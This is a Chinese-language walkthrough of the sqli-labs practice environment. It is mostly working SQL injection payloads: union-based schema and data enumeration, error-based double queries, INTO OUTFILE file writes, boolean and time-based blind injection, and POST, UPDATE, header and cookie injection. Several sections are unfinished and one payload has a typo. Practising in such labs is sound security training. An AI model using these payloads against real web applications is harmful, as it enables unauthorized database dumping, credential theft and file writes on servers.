sqli labs通关秘籍

lesson 1

查看列数
id=1' order by 3
id=1' union select 1,2,3 --+

利用information_schema查询所有数据库名
?id=-1' union select 1,2,group_concat(distinct+table_schema) from information_schema.tables --+

根据数据库名查找表名
?id=-1' union select 1,2,table_name from information_schema.tables where table_schema = 'security' limit 1,1--+

根据表名查找列名
?id=-1' union select 1,2,column_name from information_schema.columns where table_schema='security'
and table_name='referers' limit 0,1--+

根据列名查询数据
?id=-1' union select 1,2,id from emails limit 4,1 --+
或者其他数据库中的数据，如test数据库qwe表：
?id=-1' union select 1,2,id from test.qwe limit 0,1 --+

lesson 2

提示为数字型

查看列数
?id=1 order by 3 --+
?id=1 union select 1,2,3 --+

查询所有数据库名
?id=-1 union select 1,2,group_concat(distinct+table_schema) from information_schema.tables --+

查询表名
?id=-1 union select 1,2,table_name from information_schema.tables where table_schema = 'security' limit 1,1--+

查询列名
?id=-1 union select 1,2,column_name from information_schema.columns where table_schema='security' limit 1,1 --+

查询数据
?id=-1 union select 1,2,id from emails limit 4,1 --+
或者其他数据库中的数据，如test数据库qwe表：
?id=-1 union select 1,2,id from test.qwe limit 0,1 --+

lesson 3

查看列数
?id=-1') union select 1,2,3 --+
?id=1') order by 3 --+

查看所有数据库名
?id=-1') union select 1,2,group_concat(distinct+table_schema) from information_schema.tables --+

根据数据库名查找表名
?id=-1') union select 1,2,table_name from information_schema.tables where table_schema = 'security' limit 1,1--+

根据表名查找列名
?id=-1') union select 1,2,column_name from information_schema.columns where table_schema='security'
and table_name='referers' limit 0,1--+

根据列名查询数据
?id=-1') union select 1,2,id from emails limit 4,1 --+
或者其他数据库中的数据，如test数据库qwe表：
?id=-1') union select 1,2,id from test.qwe limit 0,1 --+

lesson 4

查看列数
?id=-1") union select 1,2,3 --+
?id=1") order by 3 --+

查看所有数据库名
?id=-1") union select 1,2,group_concat(distinct+table_schema) from information_schema.tables --+

根据数据库名查找表名
?id=-1") union select 1,2,table_name from information_schema.tables where table_schema = 'security' limit 1,1--+

根据表名查找列名
?id=-1") union select 1,2,column_name from information_schema.columns where table_schema='security'
and table_name='referers' limit 0,1--+

根据列名查询数据
?id=-1") union select 1,2,id from emails limit 4,1 --+
或者其他数据库中的数据，如test数据库qwe表：
?id=-1") union select 1,2,id from test.qwe limit 0,1 --+

lesson 5

此题为基于报错的注入

注入之前的知识演练
select database();
select (select database());
select concat((select database()));
select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
select concat(0x3a,0x3a,(select database()),0x3a,0x3a)as a;或者
select concat(0x3a,0x3a,(select database()),0x3a,0x3a)a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema = database() limit 1,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a

取数据库名:
?id=1' union select 1,count(*),concat(0x3a,(select distinct+table_schema limit 0,1),0x3a,floor(rand()*2))a from information_schema.tables group by a -- a

取表名:
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema = 'security' limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- a

取字段:
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- a

取数据:
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select id from emails limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- a
或者其他数据库（例如test数据库qwe表）的数据
?id=1' union select 1,count(*),concat(0x3a,0x3a,(select id from test.qwe limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- a

lesson 6

取数据库名:
?id=1" union select 1,count(*),concat(0x3a,(select distinct+table_schema limit 0,1),0x3a,floor(rand()*2))a from information_schema.tables group by a -- a

取表名:
?id=1" union select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema = 'security' limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- a

取字段:
?id=1" union select 1,count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- a

取数据:
?id=1" union select 1,count(*),concat(0x3a,0x3a,(select id from emails limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- a
或者其他数据库（例如test数据库qwe表）的数据
?id=1" union select 1,count(*),concat(0x3a,0x3a,(select id from test.qwe limit 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- a

lesson 7 Dump into outfile

select * from users into outfile "E://newtest.txt";

取数据库名:
select database() into outfile "E://database.txt";
取表名:
select table_name from information_schema.tables where table_schema = database() into outfile "E://biaoming.txt";
取字段名:
select column_name from information_schema.columns where table_schema = database() and table_name = 'emails' into outfile "E://ziduanming.txt";
取值:
select id from emails into outfile "E://zhi.txt";

BLIND INJECTIONS - BOOLEAN BASED less8

select database();
select length(database());
select substring(database(),1,1);
取数据库:
select 1 and (select substring(database(),1,1))='s';
取表名:
select 1 and (select substring((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))='e';
取字段名:
select 1 and (select substring((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1))='e'
取值:
select 1 and (select substring((select id from emails limit 0,1),1,1))='s';

BLIND INJECTIONS - TIME BASED less 9

sleep()函数
select sleep(10);
if()函数
select if((select database())="security",sleep(3),null);
取数据库名:
select 1 union select if((select substring(database(),1,1))='s',sleep(3),null);
取表名:
select 1 union select if((select substring((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))='s',sleep(3),null);
取字段:
select 1 union select if((select substring((select column_name from information_schema.columns where table_schema = database() and table_name = 'emails' limit 0,1),1,1))='i',sleep(3),null);
取值:
select 1 union select if((select substring((select id from emails limit 0,1),1,1))='1',sleep(3),null);

Post parameter injection less 12

了解:
select * from users where id>10 and 1=1;和
select * from users where id >10 or 1=1;的区别.
输入:
") OR 1=1 -- a
") OR 1=1 limit 0,1 -- a
") order by 2 -- a
取数据库名:
") union select 1,database() -- a
取表名:
") union select 1,table_name from information_schema.tables where table_schema = database() limit 0,1 -- a

less 14 POST parameter injection Double Query based

” or 1 #

select concat((select database()));
select concat('~',(select database()),'~',floor(rand(0)*2));
select concat('~',(select database()),'~',floor(rand(0)*2)) from information_schema.tables;
select (concat('~',(select database()),'~',floor(rand(0)*2)))a from information_schema.tables;
取数据库名:
select count(*),(concat('::',(select database()),'::',floor(rand(0)*2)))a from information_schema.tables group by a;
select 1 from (select count(*),(concat('~',(select database()),'~',floor(rand(0)*2)))a from information_schema.tables group by a)c;
取表名:
select 1 from (select count(*),(concat('~',(select database()),'~',floor(rand(0)*2)))a from information_schema.tables group by a)c;
取字段:
取值:

lession 17 update inject

update users set password='zhangzhengyi' where username='admin';
update users set password=' ' or 1=1 # where username='admin';
' and (select 1 from (select count(*),(concat('~',(select database()),'~',floor(rand(0)*2)))a from information_schema.tables group by a)c) #
取数据库名:
update test set 字段名='aa' where 字段名='bb' and (select 1 from (select count(*),(concat('~',(select database()),'~',floor(rand(0)*2)))a from information_schema.tables group by a)c);

less 18 insert sql inject

insert into users(username,password) values('shenmegui','dahaoren');
通过修改http表头信息,重新构建sql语句,达到注入的目的.

less 20 cookie inject

修改cookie值进行sql注入
admin' or 1=1#
admin' order by 4 #
admin' order by 3 #
admin' union select 1,2,3 #
' union select 1,2,3 #
' union select 1,database(),version() #

less 21 加密的cookie注入

base64解码
') union select 1.database(),current_user #

second order injections less 24